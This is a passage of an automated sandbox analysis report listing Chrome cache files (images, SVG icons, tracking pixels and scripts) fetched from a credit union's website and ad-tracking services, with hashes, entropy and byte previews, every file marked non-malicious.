Size (bytes):	22797
Entropy (8bit):	7.990110831963389
Encrypted:	true
SSDEEP:	384:Vg+UMKFDee11Eq3sQMzkGmoyLgXoSjB+wEmTBHlfkVHv4Rrv5YRzNNIOxZM9Mw:Vg95eu1EdI/gYe6OH9gkr5ozNiOxmB
MD5:	DCC794AC4F1405D62060749D24F91A98
SHA1:	C6E7C277AD02E057D69BD2110ED3D222B5AF0523
SHA-256:	2D855B9928C59B33C8401DCFE6B0B94F5C6CE71F66E75F4DE2145A8EE0D954E9
SHA-512:	FC0BBADE92FE73802D73CF6CE06254052D44FE268F2E10622D188FA52136D40618BC2D4F41AEA44F44DBEAAB76B40FE273AE5C2278C2508458A5A4E9987A194C
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/a31600X_Education_Refi_2_?qlt=80&wid=1600&ts=1706796593064&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...............W....(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma.................W.mdat.....q.......2...p.E.Q@.X?\|.8w...7.@.z`....l~..@.dS.~.4E..W...].+.g8F.P......&m.G2...{+.g.Yaj]..h..a..^.C...a...j..H.tM.........%a.W..W.;7V.,'.4W..Y..Cv..S.m..Dr.......NP(".r.(.ou.K.b..r...n....0e.....A.O.....=..H.o.a[... .e..Sc..Of...s.cE.Q..\|pZ..q`.%...;~..N.2.%E..$...m;..3E........>.t..\..l.a..w..Z..z..y..O.sy.c........Q...L.sM..xs.9./....6.6..M.....Z-.po..o.$....J...2O..o..E?.T....k.!..}X.>K.4.-..a:.-.?........%...S......}9-FZL.Pv....^.}h8..b.......Y.u..R.]K.U.+......H...q"WT...6f.7mWT...W..c..5.@..MsL........g.3mC...h.D.T..-4.X...q..dFdd:..o2...... ........ . XTm8..j.y...){7..wX.F..5.v..5..g}X.L..r....A....a.+x.8.3..O]7T....$...!*8e.._SH./v)./..I+Z\:.#1..@Y.zz$LS....

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	16358
Entropy (8bit):	7.960390582353221
Encrypted:	false
SSDEEP:	384:ImRso5GDAgPNj2ZGTlbJKaSfBVU45R3x6Pyqd6dO18RG+neP:ItEg52X5hL3A7gkUeP
MD5:	EE67677BF2BB7423A3B19B31A677A1E8
SHA1:	EE815514BA8CD4BDD6970C969D4440EC0E560472
SHA-256:	61A3DE54A1BDD0E4F33EE1C31120C851725B1C0FBE75FA362946E96BF3F69B93
SHA-512:	F706DFA24B0E16FB3649BB207A0C3B8DA44A5BDF122EF7E740F8A71E1F702C188A3BA68DFB51C7A28628550EC3BAFA8BB674EB11A364923F302B3695570D1004
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.........................................................................................................v{}..._ch..........LQQ...............'(\U.7..>.IDATx...............s......T...`c..s.5.1..S....S4..t:./....m.v,...c...W...q<.....v,...}#..0.{.iuj[..y.eY&...K...(:..?.....t.i.@.8..t.~.....C...]9.d`v"....T......n%F..Z.z...;x.._....yww....n.o.....:m.....q..k...n.?..7....n.\XP.\|.?]u.....5.<...U....k.............Y.o.>nk....b....w......,....n.W&~......b.....33..Q~8...u..........#Z.N_".wZ6..j..>j..H.....ug. f.."u...%.f\.M1].J.....Ef\|.Un.`.W.........N...X...j.....-Nt...nO.,v"X.].t....w..=5.[4...H.t.'...W.]....:-...j.hr.....x.....;G....i...S\|............;...,2jR.......;..^..'.VgK..h.<.m.....u.>.H..2Ap..vz.w5..M.....$.GR.[.G.......(D..=....l._..x/..\.#.&a..rV..$.%IX4Z.B.].Jz3u.`.q....Q[.Z.........}...=.V/.J....].......d.V.?j$.m+j....G.#....Q.......s.5A9...:"

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	4.9845758758262
Encrypted:	false
SSDEEP:	24:t4LxmN6gX3+xsXQhK0RJJdqOSNYm1hUoj+X0rhmAt9S1hbwcQ+FkeaK1Sn:+xcHcJJ3MmJa+qn
MD5:	19842C05DFE4E21FC8AF849139B416AF
SHA1:	116272CC02A9AACE0B999974496D73B347B12E48
SHA-256:	EE8EEE8FDAC3601EBC3CE7705F72D2B5FE5C744E760DB85D9D5220725E7350A9
SHA-512:	7B09879B57C8ECCA150993C04F2FE88D53A93F80291E152467D6CA55DF533BB016BD5B3C14FB33E901503BF4DC56EB7A570384D331CA209C19F04A8D5FFAC724
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 64 64">. <defs>. <style>. .cls-1 {. clip-path: url(#clip-cell-phone);. }.. .cls-2, .cls-3 {. fill: none;. }.. .cls-2 {. stroke: #71b8f7;. stroke-width: 4px;. }.. .cls-4 {. fill: #71b8f7;. }.. .cls-5 {. stroke: none;. }. </style>. <clipPath id="clip-cell-phone">. <rect width="64" height="64"/>. </clipPath>. </defs>. <g id="cell-phone" class="cls-1">. <g id="cell-phone-2" data-name="cell-phone" transform="translate(-8 -8.001)">. <g id="Group_5460" data-name="Group 5460" transform="translate(8 8.001)">. <g id="Group_2089" data-name="Group 2089" transform="translate(0 0)">. <g id="Group_1287" data-name="Group 1287" transform="translate(0)">. <g id="Group_1279" data-name="Group 1279">. <g id="Ellipse_123" data-name="Ellipse 123" class="cls

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=*;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 480x235, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	23880
Entropy (8bit):	7.9920853118295465
Encrypted:	true
SSDEEP:	384:3Pku7M6Y1p/fCkO1G2hR+AjATB+fs1Z06p2aqzmcT1eRmmsmRd0Ln:3PzZ4pif3Q2wBBZ062tJERs2I
MD5:	AC38D8E3721786F8E62C380EE0FD0CE1
SHA1:	466F740DED9D3C0CDFBC16ADDD69F8B825C069B9
SHA-256:	509D06A2053DCD01C99BEFCD64AD4FDC80099BE108880E75778E9F92AB7EC2B2
SHA-512:	BA7A09767973E67567A991509F26BC3D2F96A1E81EA8D8E42A3447A856029F4AEA9D8BDEEA1D727F54E63B7F96B36E18C4304415A208E87387FE87AA539CE251
Malicious:	false
Reputation:	low
Preview:	RIFF@]..WEBPVP8 4]...H.......>.:.H%."!1.\|....ch..&[..<.1~G..;..ufw.t...L..........?....a.~.5..o.............k...o...........>...:......!@.'_.<........8j...#.oA..o[...).2{+u.....u.....Z.T..].'R.r....&d5...Z..\..<.+M. ...'.Y...R"/k..G..s..d.6.?.<,..a\|w.".)m\....q.d!G6EV~.....R_b.p...:...W`.c.YS..p.....U.!.y.}m%8..T...+..J.7.}eVd..d..q.."..x+V...F`-./l.>5i.,Z...w....x.o..L..F.5H.c..ML.t.P..Z.5..>/...g........pF.IE.3M..cvi.G./..............4..J.i.Wq.H.[..g.Q>...U'...e.gv.=^+.U?..Hfs..C......3..$A......v."..z.p/..).T.......7E.....,8..]....Z.V.+M..K5:0X...e..P.T.r..;4z.s..]"$...@+.....B...#Z....1~..n.9.........tr6..H...pn..K>M.(..l.*.Z.Nzh/.\.BA..[.PF.%..{\|qb.#7h...N.m......#",.9..YzKQ...7.Aq.v.........(.6...lA..un.^8....hK<........l.%8k..P..w....\..i..-.....[?.....^.....1...}..\.........i...9a.......u..z....5].L}.K.L.Pl.....(....-...y..t..`..!...>.}.<w....'.c.e..H..H...W.;...Zw ..v..k..,9#1...].D..P..t..I.].Bl...`.'^....#..h..m.-...3N....tR.

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10120), with no line terminators
Category:	downloaded
Size (bytes):	10120
Entropy (8bit):	5.358729250022076
Encrypted:	false
SSDEEP:	192:MLTVN4eglsWbz6lybr3I1xtcWUzYR2xuvWEDPKDB3b:MMOtcWUzYR2xuvW86B3b
MD5:	CDFED94B9417325AF9C718ED9E7E6E73
SHA1:	EA7E87EF71FADBB21D622AE51EF84E0CF8D88D05
SHA-256:	F364A5D0A846BE7DDBF1070A5689172079404B354848A00DF3D9A949A4B1F731
SHA-512:	7A1BDE206FB2D220FA4FF07B05B34E3ED2F53E67E39AFEAD5E4BE878273E618FEF13F41B58822F0C70CD31AC113DA69EBA8CD451E6D5FD2AD33C5FFF286D439C
Malicious:	false
Reputation:	low
URL:	https://bttrack.com/engagement/js?goalId=15654&cb=1716590761278
Preview:	(function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"."+("00"+ms%1e3).slice(-3)+"Z":null},String:String.prototype.valueOf,Number:Number.prototype.valueOf,Boolean:Boolean.prototype.valueOf};var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"'+string.replace(escapable,function(a){var c=meta[a];r

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10605)
Category:	downloaded
Size (bytes):	85282
Entropy (8bit):	4.924256434141163
Encrypted:	false
SSDEEP:	1536:BR81b4+ljgu5JOiVWEePXuPVj8TXwqZ7aGogbp0H2EHE8z2nqUfPD2P6qyP0VlbU:B64+dguif6jZsYRZ+9f5
MD5:	228B0E47C4CC4FB90800CF6DA3EDB470
SHA1:	2F84AA17782DCF2349ED6B7798A34A210BE2B3CA
SHA-256:	D0640201BE787C283EF173F4517BAE896CC4828BFFA45E56ED0EB19A8185B511
SHA-512:	3BD1BBC519D0487C4B4C7D8E8EBB15FF39F09FF44DEE54C8F2611B7DCAB3106D106A450666C40427A2B0B1C63202A720D32E8F924BFC63261BF9C845DED8D515
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-basePage.lc-228b0e47c4cc4fb90800cf6da3edb470-lc.min.js
Preview:	/******************************************************************************. Copyright 2017 Adobe. . Licensed under the Apache License, Version 2.0 (the "License");. * you may not use this file except in compliance with the License.. * You may obtain a copy of the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS,. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.. * See the License for the specific language governing permissions and. * limitations under the License.. ******************************************************************************/.if (window.Element && !Element.prototype.closest) {. // eslint valid-jsdoc: "off". Element.prototype.closest =. function(s) {. "use strict";. var matches = (this.document \|\| this.ownerDocument).querySelectorAll(s);.

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	17771
Entropy (8bit):	7.9404606249680425
Encrypted:	false
SSDEEP:	384:FzCU6CM/l7DJf8RZsyyMHQslXO9uTxnATWFo6D7mBXE:FzCUcDQyODR3FV7cXE
MD5:	052DE55FC2E3AF64624AC58BC5AFC1D7
SHA1:	3077308EDA737AAE22DE9A462B43C1715B76C7F1
SHA-256:	ED1A61844B2574E4692C4FCDFEC4C9CF901C16EBA2DC0C6EE03CA43FD10607CC
SHA-512:	CC6F7AA9B9D0F76E36CE350E33DCB6B17A588F709EA6F3B75FEA84C68DCD4B7C8F9561526D3BCE33D49AF52360C6B0CED2E4855B8E145EB395DDC6ED52F5EE00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...............................................................t{{mrqz}................. !$.....NRV............._ch......................................................DEF...X]`<>=...WXY.../2..........'f..........()K..n..\|.....5q.........<w..`....q...C.IDATx....v..-.............S......@.3).n{.{.0.m..h.$.@!......,........h.o. ..m!.%).K.i....~<......>:....\......?.+mL..C.LTH'...v2S.d.n...j... f....S..b.k1....`..N.[..%I+..b..{...^....:).G....Hw/..%{:6.....x.@.B.\.. ...A.B...o@`..j.V.H.[.h..V:.. \|)\|.....'.b_~...W..@..U....z#.......1......~....l&s.jd2...+.....@R.V...1.i<].p.N...(../.1....1.._`.../HXx..%...\|....R...nv.W.%..@.~$C....F3..-..8}n....wk.s...T...o1.......$.O...Q...-.o2.;.;.7...b......u.........BF...Y>KN.EX...(....L'w5.R..wR.!..'.Z#....K."-......#.?.a...'....F...9F......2..Ph7*...9(.Q_wrT......N...7"\.^B.......m9..Q..3\A.@..b.....,....3...At.q.o..ob.f0....;

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<html></html>

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	12800
Entropy (8bit):	5.049111728465858
Encrypted:	false
SSDEEP:	192:U+z+jFgislZd4qOnzXt3958n2wQYy9hIt0x5puGC3hm:U4yqvfCXt39CTQYy9hI6x5pTMhm
MD5:	E54A6072B0200BFF244F1229C125F36D
SHA1:	0C6494CB2CC530D66534BE32E7F500C7FBA3A07E
SHA-256:	E6C7DAD2D34A9545B2FE1E8655D2C767F739C0E572E59ACAB51C31F8266A7059
SHA-512:	BB8C6210F9114A0474ACC396BFED0723DEA801F461D4649452CED8009ECBEB008250FEFED66DA5E2462869F582EF079469F8D06435815C0C682D777FE0A16A26
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/content/dam/icons/two-tone/people/members-n.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 27.4.1, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 400 281" style="enable-background:new 0 0 400 281;" xml:space="preserve">.<style type="text/css">...st0{clip-path:url(#SVGID_00000085208903599832088310000016130548988001000091_);}...st1{fill:#125287;}...st2{fill:#3B93D0;}...st3{fill:#7AB4E2;}...st4{fill:#0F3D70;}...st5{opacity:0.2;}...st6{fill:#2E86CE;}...st7{fill:#1B68B2;}...st8{fill:none;}...st9{fill:none;stroke:#2E86CE;}...st10{fill:#15609E;}...st11{fill:none;stroke:#1B68B2;}...st12{fill:none;stroke:#1B68B2;stroke-width:5.257;stroke-linecap:round;stroke-linejoin:round;}.</style>.<g>..<defs>...<polygon id="SVGID_1_" points="-0.8,40.4 400.8,-60.2 400.8,341.2 -0.5,341.2 .."/>..</defs>..<clipPath id="SVGID_00000130647140668840824440000010132705531551666868_">...<use

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (928)
Category:	downloaded
Size (bytes):	1775
Entropy (8bit):	5.5660456264967495
Encrypted:	false
SSDEEP:	48:NO2G0P/KIcuwhF2LrIcp5yIqoHE/Py3F8:BG0nSJCrIS5yIqoQiF8
MD5:	165411D6516536FFC1BF024E8CFCB049
SHA1:	49F2B9CAFBDB916CA2078B7653CE60FB2F7198DD
SHA-256:	A8627A7DF1E0D74D460F7A98BC9344C5EE80A86CEE796A233DA09DFBEFB351B7
SHA-512:	7B5C85B90683C58DDF6BC7C0C251DCB8F9C522FD0E577A73098A10CDB72D737860AA4F2478B5DF79C14888C0AD8C51D34E6085284506EB734AC69BB9DB6A616E
Malicious:	false
Reputation:	low
URL:	https://9749892.fls.doubleclick.net/activityi;dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/analytics.min.js"></script><script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]\|\|[],f=function(){var o={ti:"25148914", enableAutoSpaTracking: true};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"\|\|(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");</script><script async src='https://tag.simpli.fi/sifitag/601005f1-638d-45e3-9d29-e04168bb80b3'></script><script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script>. <script type="text/javascript">. ttd_dom_ready( func

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://adservice.google.com/ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=*;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 480x479, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	39006
Entropy (8bit):	7.99512115208716
Encrypted:	true
SSDEEP:	768:734c1ZByB2I3bwONqg/vTu0iHBREHrTWj6C8amqG1cpm2VKEbviNw9UoAGVP3d:733PByB2qirPHBRELTWj6fCpm2VHmCrV
MD5:	E7CD7F21D0776657FC181ED00089ADAE
SHA1:	7781C8FC4DD23C90C593445E3D1EC995D08CCB30
SHA-256:	49603BAD3573344AAAE29B2683387AC3E1E598DED0237D4E45D13C3E18BE6351
SHA-512:	8136AA516FCD87C34B25FE4CA664A69259167D4AA7EEDCB154C6D9194B70FF0676EA61A7AC1308DBFB2FF463FC15E233552FED1FE471A9B674EF394BBDEA1E3C
Malicious:	false
Reputation:	low
Preview:	RIFFV...WEBPVP8 J............>.@.H....-vK....M.<...1.."....g.VO{d..i..y.Z..........+..............K......P....r.^.....3........G.......o...l....\|...........'.?j:.w../Z.....gP...y.?....#.f^...W......t.K._......[.e........{.t...K..X.Ki..q...j..m..pea.B..R+.oM....]...0.6.V..F.e...:u3..S.i..._h.H....<.u.......?A........Nx.Kb^..2..9C.....7y..6......-.:.......(%.CUe..m......=..\|F.F...../....f%G........;.H.x0.a..%..{IF&#....r....\...........N8S0s.....w.p./...K:a..a....v~..A..)4..%.....J.3....1....l5..7._..H.......I.~..a...(S.d%....T.@H..Z...."......[0w..<..S.D<c....>.... .1...-.&O.P..0..,.6.......X.....~.. l.Eq..`...l..4..y\r.9.6.@.\.z....w2..&.V;5.\.......l.`.pd.j......~.....J(...u..L...E..5?...".......6...\x.XC...s..mh..[...1.6S...L..l.B."v.Q....JHwb.X..w.X..~.m..2..._.6-.......\|E....HY.P..C...k,\#..xQ..aM......V.FjJt]..C.......Ty.G...{W~..C...>4..z.0...>._K........W3..... l..J.M.....S#....z.,.M...#{.&.?x.........H..~......,.M.2.......c.;

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	3643
Entropy (8bit):	7.856725976265914
Encrypted:	false
SSDEEP:	96:+cLj/4iP0/SyzIx/qbR3QA2tCR3HB5Moo1iPE:+W7sfzIQbBm0FBfo1iPE
MD5:	D346EDA7D0E06565E339ACE0367517FC
SHA1:	ED19064D8806BFE726F89B5051BE0F1923C9E8D9
SHA-256:	7745428E3284DE082F5D9669F13C2C87790822B9D1F086542AA5F964EDF61117
SHA-512:	562F17A15F49531545717D0616101CF78CCFECEA649C7E0FF9FD616932CF69D91AB9CA6CB3E4526AAF3CD7D698B3EEFCE5DB7B2C72E5CCC609621A7FC16CB6D3
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/a31600X_Education_Refi_2_?qlt=80&wid=320&ts=1706796593064&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................!...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@........pixi............av1C........colrnclx...........ipma..................)mdat.....!.....h@2...p.E.Q@..<M..kc...g.^.P.\|....fa.]e.+:...#.v.J].ob.3.#..b....I....@.......vH0.Ii..p..hvp.R....x.K<..E....FG;.....v.AfE(.j...5S.4.f..@o?..H.&\._l.v{..W.u4r...w.=gtE:9...m..y]...0.#I...@.V,.C.q.g......d.......(....1T..4.0iQL.....`w.XK.K.6.l'...m.j.t..Ct.^.n....9.kx.\|~.sS~.....^...}e)(w'.'#6I...^......i...[#..#hh.x...X.....J.\|.';......>.....~N#...........a.`..{M..~.....:..9}.:Mx.t..c'uT%S9........eI.M.3./#..a........i.....,.F..n.0.Z^...o.4f....Ss....D.........\|...P\.9.n[8^.p...GY..z...e...mR...$.=.si.u ..(J....j..=.)...+....`.&...o.`).'....%....h....(..p.x]..r.B+&.^.......q.T.?.S._g.N..f....).....!....k.v......bE....O..G.3n......J0.:;a.....ZC.=..t.2#..).....2

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7702
Entropy (8bit):	7.931634494179433
Encrypted:	false
SSDEEP:	192:z5ed/13UoHKAQoVJwPngYtieyYWcQmlUc7B+dZx1KNn:z5Y/1EowngY3AEUc7odZx1W
MD5:	19E92471084856FAFD009CCCD69F978C
SHA1:	183B79B58AC60B4A85768B4CAF4064E9E68C11C1
SHA-256:	4E34630D641AC9EC465371367964CE1F2F85532837B891846062B46C9C6F7A0B
SHA-512:	8334988FCE6D27EECE27699D52742C5072F960AF928CC53AA33F2DF2F78EE920BE71B4FA93C371A30ED2EF7AAFF32EA2F753B8C495F4191AE004DFCE973FC1AF
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i5!3i5!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=30956
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE........................................................................_chv\|\|.......NRVkqr...rx......X]`..... !$>C.....8IDATx......<.........:.....-.....(..y.3(....$-.}3...]..,KU.wU..T[...Zd.#I...G.{.....b.....x.^.....y.\._+.F70>>...g../.KqZ..w....I..5....].8.....e.x[..../.8(..xN+..c..........m._...`......,. .......S...\.$^..?Q_......^.....e-GB.B.....K..A)}."...2......g .\|......^..e...B.....h.....J.:...~.q.......w.eu..sF.Zr.;U...W.1..O.Ai..W.....P..T...w....e......D{.".t5Vb.sL.X....D.?....aH......r.....y..eU.@...".$....P..gPc....x..4..[......\|TK..v.....x.........y...L....4.u6..zv...M....XyFb..W.....t.^.aM....a..L/S1O.D...b.g$4o`...........H..z.j...H.]'.. QNE}J.@..........J.1..t...c.3.a.U3.Y2...".[...u.........IZ..[.J..;..I....,4ZW.u...[..%..R>..T...\uYf./...4a.J.!).D.Rx{d..u...u.+.......0.y..hz...........5...U.[.A..{3.&v2.............~.:.b.Cc.4.^.l...a....

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (404)
Category:	downloaded
Size (bytes):	5769
Entropy (8bit):	5.863491015745742
Encrypted:	false
SSDEEP:	96:OfS5+LHQs5w6o2Vo3vjp5wwzwOuVDzUWGUwghFV1AwWPpBUVDyTwWnDVbBF:wS5IHQs5J6vN5rwOCUWGURhZAnVT/nNP
MD5:	25B44429BD9782AB12E0D10223C584D2
